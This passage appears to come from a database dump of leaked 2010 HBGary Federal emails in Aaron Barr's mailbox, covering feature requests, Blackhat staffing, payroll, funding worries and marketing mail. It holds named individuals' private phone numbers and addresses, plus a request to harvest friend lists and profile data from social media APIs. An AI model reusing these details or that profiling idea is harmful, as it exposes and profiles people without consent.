Media\r\nconversation.\r\n\r\nAt the end of the meeting I was invited to a dinner with Keith Alexander\r\nnext Tuesday.  Gen. Alexander is the director of NSA and the Commander of\r\nCyber Command. :)\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',13806,'aaron_hbgary_com/13806.html'),(8668,'2010-07-16','\"Joe Pizzo\" <joe@hbgary.com>','/aaron@hbgary.com/new/1297006666.M767733P14101Q3523.eml','\"Greg Hoglund\" <greg@hbgary.com>,all@hbgary.com','RE: Next iteration is coming up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSeveral customers would like to see a store and forward\r\ncapability- ad sends the request to ddna on the target, target receives\r\nrequest, if the target goes offline it runs scans, saves data and passes data\r\nback next time it is online, receives recent requests, repeat.\r\n\r\n \r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Friday, July 16, 2010 10:19 AM\r\nTo: all@hbgary.com\r\nSubject: Next iteration is coming up\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\nPlease send me your iteration top feature request. \r\nRemember, there is no guarantee we will do anything you ask for, but this helps\r\nus make priorities.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHere are some:\r\n\r\n\r\n\r\n\r\n\r\n- timeline control\r\n\r\n\r\n\r\n\r\n\r\n- nodes work even when windows networking is not enabled\r\n(manual installs)\r\n\r\n\r\n\r\n\r\n\r\n- single-point node status (the definitive state of any node\r\ngiven in one spot - user does not need to cross-reference any other data to\r\ntrouble shoot)\r\n\r\n\r\n\r\n\r\n\r\n- full AD integration with ePO (not just license server, but\r\nall features)\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThe above list is not a list of features that will be\r\nimplemented, this is a suggestive list only of possible features that may or\r\nmay not be implemented depending on our planning and priorities.  This\r\nmessage will self destruct in 60 seconds.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10145,'aaron_hbgary_com/10145.html'),(8669,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006667.M258349P14101Q3524.eml','\"Bob Slapnik\" <bob@hbgary.com>','ping pong','Bob,\r\n\r\nMy calendar event didn\'t pop up for the ping pong challenge.  Are you there?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7041,'aaron_hbgary_com/7041.html'),(8670,'2010-07-16','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','/aaron@hbgary.com/new/1297006667.M571470P14101Q3525.eml','\"Aaron Barr (aaron@hbgary.com)\" <aaron@hbgary.com>','Lunch?  Beer?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, I really enjoyed meeting you last night.&nbsp; It was a very\r\nentertaining evening.&nbsp; As I mentioned, there is something I&#8217;d like to\r\ndiscuss with you that may be a potential area of collaboration.&nbsp; Would love to\r\nsit down and discuss further.&nbsp; I was supposed to be in LA next week but that\r\ngot pushed back a week so I should be around.&nbsp; Wednesday is probably not a good\r\nday but otherwise I can adapt.&nbsp; Take care and I look forward to seeing you.\r\n\r\n&nbsp;\r\n\r\nJeff\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nVP,\r\nDirector Washington Operations\r\n\r\nPhaseOne\r\nCommunications\r\n\r\n&nbsp;\r\n\r\nemail:&nbsp;\r\njeffcastelli@phaseone.net\r\n\r\nOffice:&nbsp;&nbsp;&nbsp;&nbsp;\r\n571-830-6816\r\n\r\nFax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n571-830-6819\r\n\r\nCell:&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413\r\n\r\n&nbsp;\r\n\r\nThis\r\nemail is confidential and intended solely for the use of the individual or organization\r\nto whom it is addressed. &nbsp;If you are not the intended recipient of this\r\nemail, you should not copy, modify, distribute, or take any action in reliance\r\non it. &nbsp;If you have received this email in error, please notify the sender\r\nand delete this email from your system. &nbsp;Although this email has been\r\nchecked for viruses and other defects, no responsibility can be accepted for\r\nany loss or damage arising from its receipt or use.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10997,'aaron_hbgary_com/10997.html'),(8671,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006667.M809756P14101Q3526.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Question to ponder','When you get a moment could you look at the Facebook, Twitter, LinkedIn, Buzz APIs (to start).\r\n\r\nWhat type of data can you pull from the facebook api.  Can you pull name, employer, profile data, friend list?  If you can pull this information you can do some really cool relationship correlation.  Then I would like to compare that data with the other SM data.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15384,'aaron_hbgary_com/15384.html'),(8672,'2010-07-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006668.M128207P14101Q3527.eml','\"Aaron Barr\" <aaron@hbgary.com>','Social Media Write Up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFor seminars.&nbsp; I need something to push\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',690,'aaron_hbgary_com/690.html'),(8673,'2010-07-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006668.M371366P14101Q3528.eml','all@hbgary.com','FW: Payroll/','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nApparently our payroll company was updating software on\r\nWednesday and our payroll was accidently &#8220;kicked out&#8221;.&nbsp;\r\nBarbara has re-entered the payroll AND talked to the company and they are\r\ntrying to escalate this getting into the bank accounts.&nbsp; Sure Payroll will\r\npay any overdraft fees, just be sure to provide documentation.&nbsp; See below.&nbsp;\r\nI am sorry for this inconvience, but it was out of our control, we did what we\r\nwere supposed to do but the system failed.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Barbara Vermilyea\r\n[mailto:barbarabookkeeping@yahoo.com] \r\nSent: Friday, July 16, 2010 9:42 AM\r\nTo: Penny Leavy Hoglund\r\nSubject: Payroll\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have reentered in payroll and\r\nre-submitted to SurePayroll.\r\n\r\n\r\n\r\n\r\n\r\nThe employees will receive an\r\nemail that&nbsp;their payroll will be available on July 20, Tues...Ignore that\r\nemail. There should be a second email that informs the employee that funds will\r\nbe available on July 19, Monday...possibly Sat if they&nbsp;bank with a larger\r\nbank.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\'m going&nbsp;camping\r\nand&nbsp;won\'t have internet or phone service.\r\n\r\n\r\n\r\n\r\n\r\nI will be in the office on Wed\r\nafternoon.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSurePayroll will reimburse any\r\nfees associated with the&nbsp;error...must provide proof from bank of fees.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n&nbsp;\r\n\r\n\r\n\r\nBarbara Vermilyea\r\nPROFESSIONAL\r\nBOOKKEEPING SERVICES\r\n\r\nTNI Folsom Breakfast, Treasurer,\r\nPast&nbsp;VP&nbsp;(Business-to-Business Networking)\r\n\r\n(916) 705-8414 mobile\r\n\r\n(916) 351-8380 fax\r\n\r\n&quot;Don\'t keep me a\r\nsecret. Your referrals are the&nbsp;heart of my business.&quot;\r\n\r\nhttp://www.tni-network.org/members/Chapters/California/Folsom_Breakfast/\r\n\r\nSPECIALIZING\r\nIN...\r\n\r\nQuickBooks/Quicken;\r\nAccounts Payable &amp; Receivable; Payroll; Reconciliations;\r\nAmortization Schedules &amp;&nbsp;Financial Reports; Year End Reports for Tax\r\nPreparer; Budget&nbsp;&amp; Cash Flow&nbsp;Forecasting; Custom Spreadsheets and\r\nmore...\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16692,'aaron_hbgary_com/16692.html'),(8674,'2010-07-16','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006668.M575407P14101Q3529.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Ballistic HC Case for the iPhone 4','This is one bad ass case. I just ordered mine. Search ballistic hc on YouTube and watch their torture test video.&nbsp;TvBegin forwarded message:From: Dana Verhelst &lt;dana_v@goballisticcase.com&gt;Date: July 16, 2010 10:43:36 AM MDTTo: Dana Verhelst &lt;dana_v@goballisticcase.com&gt;Subject: Ballistic HC Case for the iPhone 4Good Morning! We hope everyone is enjoying their brand new \r\niPhone 4! We greatly appreciate your patience! \r\nThank you for signing up for our inventory notification. We are happy to\r\n announce inventory for our iPhone 4 Ballistic HC Series Case. Since you\r\n were among the first to sign up you get first dibs on our inventory. \r\nThis inventory is not yet open to the public, however, at 6pm tonight it\r\n will be. Click here\r\n to place your orders! \r\nPLEASE NOTE: Your  iPhone 4 Ballistic HC Series Case will not ship out to you until Friday \r\nJuly 23rd.\r\nWarm Regards, \r\nDana Verhelst\r\nwww.goballisticcase.com\r\n\r\n\r\n',13128,'aaron_hbgary_com/13128.html'),(8675,'2010-07-16','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006668.M795852P14101Q3530.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>','Re: Who is going to blackhat?','Take phil\r\n\r\nOn 7/16/10, Aaron Barr  wrote:\r\n> I am flexible.  I can demo and talk to Active Defense and will be there to\r\n> talk about threat intelligence, TMC, and Social Media.  I can talk a good\r\n> game about Responder just can\'t demo it well yet, but a little 1on1 with\r\n> Rich or Mike and I could probably manage it fairly well.  Leave it up to\r\n> you.\r\n>\r\n> Aaron\r\n>\r\n> On Jul 16, 2010, at 10:54 AM, Rich Cummings wrote:\r\n>\r\n>> Who is going to demo?  Just me?  That is ridiculous to think 1 person can\r\n>> do all the demos that will be required.  You’ve got 3 people who can talk\r\n>> talk talk  and 1 who can demo?… not good planning in my mind.  Blackhat is\r\n>> mostly geeks that do not want to hear a sales pitch but want to talk to\r\n>> SE’s.  But do what you want.   I think we should have 2 or 3 who can demo\r\n>> and talk and fewer who can just talk.  I’m not going to party….  I don’t\r\n>> want to travel at all right now after being on the road for 2 months\r\n>> straight.\r\n>>\r\n>>\r\n>>\r\n>> From: Penny Leavy-Hoglund [mailto:penny@hbgary.com]\r\n>> Sent: Friday, July 16, 2010 10:45 AM\r\n>> To: \'Rich Cummings\'; \'Greg Hoglund\'\r\n>> Cc: \'Mike Spohn\'; \'Aaron Barr\'\r\n>> Subject: RE: Who is going to blackhat?\r\n>>\r\n>> Rich, I’m bringing you there to be at the booth, not to walk around.  If\r\n>> you can’t do that, then I will bring someone else.  This is not a party,\r\n>> it’s a work event, I’ve paid for a booth and the ONLY person talking is\r\n>> Greg.  We are there to promote HBGary, otherwise, it’s not an effective\r\n>> use of your time.  You decide within the hour and let me know\r\n>>\r\n>> From: Rich Cummings [mailto:rich@hbgary.com]\r\n>> Sent: Friday, July 16, 2010 7:42 AM\r\n>> To: Greg Hoglund; Penny Leavy\r\n>> Cc: Mike Spohn; Aaron Barr\r\n>> Subject: RE: Who is going to blackhat?\r\n>>\r\n>> Greg’s right.  Pizzo or Phil should be there to demo too.\r\n>>\r\n>> From: Greg Hoglund [mailto:greg@hbgary.com]\r\n>> Sent: Friday, July 16, 2010 10:38 AM\r\n>> To: Penny Leavy-Hoglund\r\n>> Cc: Mike Spohn; Rich Cummings; aaron@hbgary.com\r\n>> Subject: Re: Who is going to blackhat?\r\n>>\r\n>>\r\n>> Well,\r\n>> I am NOT going to be in the booth giving demo\'s.  Rich will not be in the\r\n>> booth very much, which is typical.  So, this setup isn\'t good.  We need\r\n>> someone who can demo the product who is going to do booth duty or we may\r\n>> as well forget setting up the demo.  In fact, why can\'t Penny or Mike demo\r\n>> the product ? lol  Where are the SE\'s in this equation?\r\n>>\r\n>> -Greg\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> On Fri, Jul 16, 2010 at 7:22 AM, Penny Leavy-Hoglund \r\n>> wrote:\r\n>> So far it is Greg, Mike Spohn, Rich, Aaron and me.  It’s a two day show\r\n>> (W-Th).  Bob and Maria are getting ready for GFirst which is the next\r\n>> show.\r\n>>\r\n>> From: Greg Hoglund [mailto:greg@hbgary.com]\r\n>> Sent: Friday, July 16, 2010 7:09 AM\r\n>> To: all@hbgary.com\r\n>> Subject: Who is going to blackhat?\r\n>>\r\n>>\r\n>> All,\r\n>> Who is going to be at Blackhat?\r\n>>\r\n>> -Greg\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n',1260,'aaron_hbgary_com/1260.html'),(8676,'2010-07-16','\"Mike Finan\" <mike.finan@carahsoft.com>','/aaron@hbgary.com/new/1297006669.M137579P14101Q3531.eml','\"Aaron Barr\" <aaron@hbgary.com>','Virtualization, Cloud Computing, & Green IT Summit - October 26-27, 2010 - Register Now','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n			\r\n			&nbsp;\r\n			\r\n			\r\n				\r\n					\r\n						\r\n					\r\n					\r\n						\r\n						\r\n						&nbsp;\r\n						\r\n						\r\n						&nbsp;\r\n						\r\n						\r\n						\r\n						\r\n						Registration is now open! \r\n						\r\n						\r\n						Register now for the Virtualization, Cloud Computing, &amp; Green IT Summit,&nbsp;the comprehensive event for virtual technologies, held on October 26 - 27 at the Grand Hyatt in Washington, DC. \r\n						\r\n						\r\n						Co-produced by Carahsoft and the 1105 Government Information Group (publishers of Federal Computer Week and Government Computer News), the Virtualization, Cloud Computing, &amp; Green IT conference program will illustrate via agency case studies the real-world implementations of these new technologies, give insight into the risks involved with their adoption, and demonstrate how performance and cost benefits can be measured. \r\n						\r\n						\r\n						Visit the free* exhibition hall for technology demonstrations and&nbsp;attend complimentary&nbsp;education sessions from Carahsoft partners who provide virtualization,&nbsp;cloud computing, and green IT&nbsp;solutions. \r\n						\r\n						\r\n						Register today and save $100 off the conference price! With this offer, especially for Carahsoft clients, you will get two days of education, admission to the exhibition, keynote addresses, professional education sessions, networking opportunities, and more for just $95 for government personnel. \r\n						\r\n						\r\n						Use code CARAHSOFT when registering for this discount. \r\n						\r\n						\r\n						\r\n						\r\n						 \r\n						\r\n						\r\n						\r\n						\r\n						 \r\n						\r\n						\r\n						&nbsp;\r\n						\r\n						\r\n						&nbsp;\r\n					\r\n					\r\n						\r\n						\r\n						&nbsp;\r\n						\r\n						\r\n						*Discount valid on full conference registration only. Expo-only registration is free for government personnel. Please show photo ID at registration showing that you are a government employee at registration. \r\n						\r\n						\r\n						&nbsp;\r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',16475,'aaron_hbgary_com/16475.html'),(8677,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006669.M384738P14101Q3532.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Future','Penny,\r\n\r\nDo you have time to talk about possible investment around HBGary Federal today?  I am feeling pretty good about what we have lined up for the fall but we are going to have some gaps between now and then that I don\'t know how we make it through.  If I had the money I would pour it in, and I know Ted would as well, but we just don\'t.  I have put in as much as I can but am not personally strapped for cash to the point that if I miss another check I will be missing bills.\r\n\r\nOn the positive side, our old work RFP is going to drop in August.  I am extremely confident about this work.  I met with my buddy who runs this for the government and he really wants us back in there.  We have put together an unbelievable team.\r\n\r\nNG Xetron called me yesterday, they are having staffing problems for some of their classified IO work, I am hoping we can staff some of those positions soon.\r\n\r\nMantech has had me sign 3 NDAs and said that we have capabilities that can support existing work, we are also going after Gatorbait as a sub to them (they are the incumbent).  If they win the FBI ESOC work they want to talk about how we can help them out.\r\n\r\nThe Chief architect of CDC is friends with Ted and is going to have Ted do demos to his staff and then afterwards they are going to the beach together. (wink wink nudge nudge know what I mean).\r\n\r\nI am not participating in some very senior small groups in cyber and getting senior level government access.  While this doesn\'t directly translate to work.  In my process of discussion of cyber problems I mention HBGary and HBGary Fed capabilities regularly.  That can not be bad thing.  Example out of the 4 hour meeting yesterday I probably had the mic for about 90 minutes and managed to mention all of our capabilities within the context of solving tough problems.\r\nCMDR IO for EUCOM top 3 problems: Attribution and Threat Intelligence, Social Media, and Influence of local populations. (REALLY!!!!)\r\n\r\nSo we are on a very strong path for a startup company we just need a little gap coverage and someone like Mantech might be able to help with that, it won\' t take much.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16238,'aaron_hbgary_com/16238.html'),(8678,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006669.M599428P14101Q3533.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Social Media Write Up','No problem.  In what format.  I can give you an updated power point, an abstract?Sent from my iPadOn Jul 16, 2010, at 12:34 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nFor seminars.  I need something to push\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3268,'aaron_hbgary_com/3268.html'),(8679,'2010-07-16','\"L2 Federal Resources, Inc.\" <mail@constructionpubs.com>','/aaron@hbgary.com/new/1297006669.M850616P14101Q3534.eml','aaron@hbgary.com','In just 4 days - Keys to Successful Government Contracting. Register Today.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n \r\n   \r\n \r\n   \r\n \r\n       \r\n \r\n            \r\n            \r\n               \r\n \r\n                   \r\n \r\n                        \r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\nWEBINAR\r\n                        Tuesday, July 20, 2010\r\n                        1:00-2:30 PM EDT\r\n                        \r\n&nbsp;\r\n                        \r\nFeaturing:\r\n                        \r\n                        Judy Bradt\r\n                        Principal\r\n                        Summit Insight\r\n                        \r\n                        \r\n                        \r\n&nbsp;\r\n                        \r\n\r\n                        Forward to a Colleague!\r\n                        \r\n                        \r\n\r\n                        \r\n                        \r\n                        \r\n                        \r\n                        \r\n                        \r\n                        &nbsp;\r\n                        \r\n_____________________\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;&nbsp;\r\n                        \r\nCan&rsquo;t Make the Session Live? Reserve your copy\r\n                        of the webinar on CD,\r\n                         Click here.\r\n                        &nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n_____________________&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\nFor          more information on\r\n                        WPL products and\r\n                        conferences, visit us at\r\n                        www.wpl.net.\r\n                        WPL Publishing Co., Inc.\r\n                        P.O. Box 1495\r\n                        Bethesda, MD \r\n                        &nbsp;                         Tel: (301) 765-9525\r\n                        &nbsp;                         Fax: (301) 983-4367\r\n                       \r\n \r\n&nbsp;\r\n                       \r\n \r\n&nbsp;&nbsp;&nbsp;\r\n                        \r\n                    \r\n                \r\n            \r\n            \r\nWPL Publishing Co., Inc., \r\nand\r\n L2 Federal Resources, Inc., \r\nannounce a valuable new interactive webinar:\r\n            \r\nGovernment Contracts Practical Jump Start: 7 Steps to Success\r\n            \r\nThinking of selling to the government, or want to win more contracts\r\n            than you are now? There are 7 things that all winners do. Find out what they are, what to expect, and get the answers you need to get started today. \r\n            \r\n            \r\nNow\'s the time to act, as agencies rush to exhaust \r\n            their budgets before the Sept. 30 fiscal year end.\r\n           \r\n \r\nIn just 90 minutes, this class will debunk the myths about government contracting,\r\n            give you first-class resources that are hard to find, and places you on the path to mastery of success essentials. Looking for that perfect set-aside contract? Want to sell directly, or team with one of the big prime contractors? You will find out what you really need to succeed if you are thinking of selling to the government. Class covers:\r\n            \r\n           \r\n \r\n               \r\n Business readiness\r\n                \r\n               \r\n GSA schedules and certification\r\n                \r\n               \r\n Finding opportunities\r\n                \r\n               \r\n Researching competition\r\n                \r\n               \r\n Process essentials: How the government buys\r\n                \r\n               \r\n Teaming tips for seeking partners\r\n                \r\n               \r\n Business development best practices\r\n                \r\n               \r\n Key resources and next steps\r\n                \r\n               \r\n And, much more!\r\n            \r\n           \r\n \r\nIn addition, a 10-to-15 minute period has been reserved at the end of the speaker\'s presentation for an interactive question-and-answer session so you can discuss specific issues or gain additional knowledge about topics discussed. To\r\n \r\n            register now, \r\nclick here.&nbsp; \r\n            \r\n           \r\n Who Will Benefit?\r\n            This webinar is a must if you are currently or considering working with the\r\n            government on any projects.\r\n            \r\n           \r\n \r\n\r\n            \r\n           \r\n \r\n\r\n           \r\n \r\nJudy Bradt, Principal\r\n            Summit Insight\r\n            Judy is one of America&rsquo;s top champions for savvy business owners exploring government contracts, and a trusted advisor on growing your profits with the world&rsquo;s biggest buyer.  For more than 22 years, she has counselled more than 6,000 clients who credit her advice for winning more than $300 million in government business.\r\n            As Principal of Summit Insight in Washington DC, Judy&rsquo;s a strategic advisor for government contracts, bringing her clients, readers and audiences no-nonsense insight on winning government business. Her\r\n Seven Steps to Success \r\njust helped a client close contracts worth nearly $500,000! She&rsquo;s been covered by national media including\r\n Business Week, \r\nFortune Small Business, \r\nWashington Business Journal, \r\nSmart CEO Magazine, \r\nFinancial Post, \r\nEnterprising Woman, \r\nand\r\n Entrepreneur Magazine. \r\n Find out more at www.summitinsight.com. \r\n            &nbsp;             \r\n            Prior to founding Summit Insight, Judy was Trade Commissioner at the Canadian Embassy in Washington for 15 years, specializing in the U.S. federal market. She is also a pilot and a rock-climbing instructor, so no matter how steep the climb for your business, she can take you all the way.  When you work with Judy Bradt, the sky is\r\n            no limit!\r\n                         \r\n            \r\nWebinar Details:\r\n            \r\n               \r\n \r\n                   \r\n \r\n                       \r\n &nbsp;Date:\r\n                       \r\n Tuesday, July 20, 2010\r\n                    \r\n                   \r\n \r\n                       \r\n &nbsp;Location:\r\n                       \r\n Your office or conference room (no need to travel!)\r\n                    \r\n                   \r\n \r\n                       \r\n &nbsp;Time: \r\n                       \r\n 1:00 &mdash; 2:30 EDT\r\n                        \r\n                    \r\n                   \r\n \r\n                       \r\n &nbsp;Price:\r\n                       \r\n Webinar PLUS Audio CD and handouts -- $246&nbsp; Best Value!\r\n                    \r\n                   \r\n \r\n                       \r\n &nbsp;\r\n                       \r\n Webinar Only -- $179&nbsp;\r\n                    \r\n                   \r\n \r\n                       \r\n &nbsp;\r\n                       \r\n Audio CD and handouts only -- $215 (pre-conference price)\r\n                    \r\n                \r\n            \r\n            \r\nTo Register ONLINE, Click here.  For the FAX-BACK registration form, \r\n            Click here.&nbsp; To reserve your space by phone CALL (301) 765-9525.\r\n            \r\n            Added Benefit:&nbsp; In-house training tool:&nbsp; Train your entire staff for one low price!\r\n            There is no limit to the number of participants at your location. Gather around the conference room table and listen to the speakers then discuss how it pertains to your particular company.&nbsp; For those who can&rsquo;t attend, you have the option to purchase the CD to listen to when more convenient.&nbsp;&nbsp; \r\n             \r\n            \r\n            \r\n\r\n            \r\n        \r\n    \r\n\r\n\r\n&nbsp;\r\n  \r\n \r\n \r\n   \r\n \r\n\r\nClick here to unsubscribe\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n	\r\n',1814,'aaron_hbgary_com/1814.html'),(8680,'2010-07-16','\"MB Toth\" <mbt.rbtoth@starpower.net>','/aaron@hbgary.com/new/1297006670.M143975P14101Q3535.eml','\"Aaron Barr\" <adbarr@mac.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Event Invitation: The Changing Faces of Cybersecurity in 	Government','\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nMight be of interest to you,\r\n\r\nMike\r\n\r\n---------- Forwarded message ----------\r\nFrom: Government Executive Events &lt;events@gove-media.com&gt;\r\nDate: Tue, Jul 13, 2010 at 2:50 PM\r\nSubject: Event Invitation: The Changing Faces of Cybersecurity in\r\nGovernment\r\nTo: michabt@gmail.com\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n        \r\n          \r\n            Email\r\nnot displaying correctly? View it in your browser. \r\n          \r\n          \r\n            \r\n               \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n            \r\nGovernment Executive Media Group and the SANS Institute invite you to\r\nattend the second of our new series of complimentary briefings with key\r\nfederal cybersecurity insiders.\r\n            Attendees\r\nGain\r\n            \r\n               Early access to the important new developments\r\nshaping cybersecurity in the government and the nation \r\n               Interactive dialogue with leading edge cybersecurity\r\ninsiders helping to shape and drive the changes\r\n               Hyper-current analysis on breaking issues\r\n               Expert insight not available anywhere else\r\n               Actionable case studies with ideas and technologies\r\nyou can use immediately to improve security\r\n               Humor and incisiveness rarely found in federal IT or\r\ncybersecurity panels\r\n            \r\n            \r\n            The\r\nChanging Faces of Cybersecurity in Government\r\n            \r\n            \r\n            Thursday,\r\nJuly 29, 2010 • 7:30am - 9:30am\r\nNational Press Club\r\n13th Floor Ballroom\r\n529 14th Street, NW Washington, DC\r\nMetro Stop: Metro Center\r\n            \r\n            This\r\nfast-paced breakfast discussion will feature top federal IT experts and\r\nother officials exploring the key human resources questions facing\r\nfederal CISOs and cyber security staff—both inside government and in\r\ncontractor organizations.\r\n            \r\nThe panel will discuss recent studies on federal cyber manpower needs\r\nand the push to bring more cyber talent to the federal workforce.\r\nAttendees will learn:\r\n            \r\n               Which skills are in-demand in at federal agencies\r\n              How current staff might be re-trained to learn those\r\nskills\r\n               What the key career paths will be in the coming years\r\n              How to maintain healthy competition for technical\r\ntalent\r\n              Which roles should be outsourced and which should\r\nstay inside government\r\n            \r\n            Confirmed\r\nPanelists\r\n            John\r\nPalguta\r\n            Vice\r\nPresident for Policy, Partnership for Public Service\r\n            Erik\r\nHopkins\r\n            Professional\r\nStaff Member, Committee on Homeland Security and Government Affairs,\r\nU.S. Senate\r\n            \r\nModerators\r\n            Timothy\r\nClark\r\n            Editor\r\nat Large, Government Executive \r\n            Alan\r\nPaller\r\n            Director\r\nof Research, SANS Institute\r\n            \r\n              \r\n            \r\n            \r\n                \r\n            \r\n            Space\r\nis limited. Preference will be given to federal agency executives and\r\nIT leaders.\r\n            \r\n            \r\n            \r\n            \r\n             \r\n             \r\n            Who\r\nShould Attend\r\n            \r\n- Federal CISOs, CIOs and other executives responsible for\r\nagency information security\r\n- Federal IT managers\r\n- CAOs and procurement managers involved in acquiring\r\ncybersecurity solutions\r\n- Federal program managers\r\n- Executives and technical experts from major contractors involved\r\nin cybersecurity\r\n            \r\n            \r\n            \r\n            Save\r\nthe dates for our next briefings \r\nThursday, August 26\r\nThursday, September 9\r\n            \r\n            \r\n            \r\n            For\r\nmore information on attending an event, contact us at 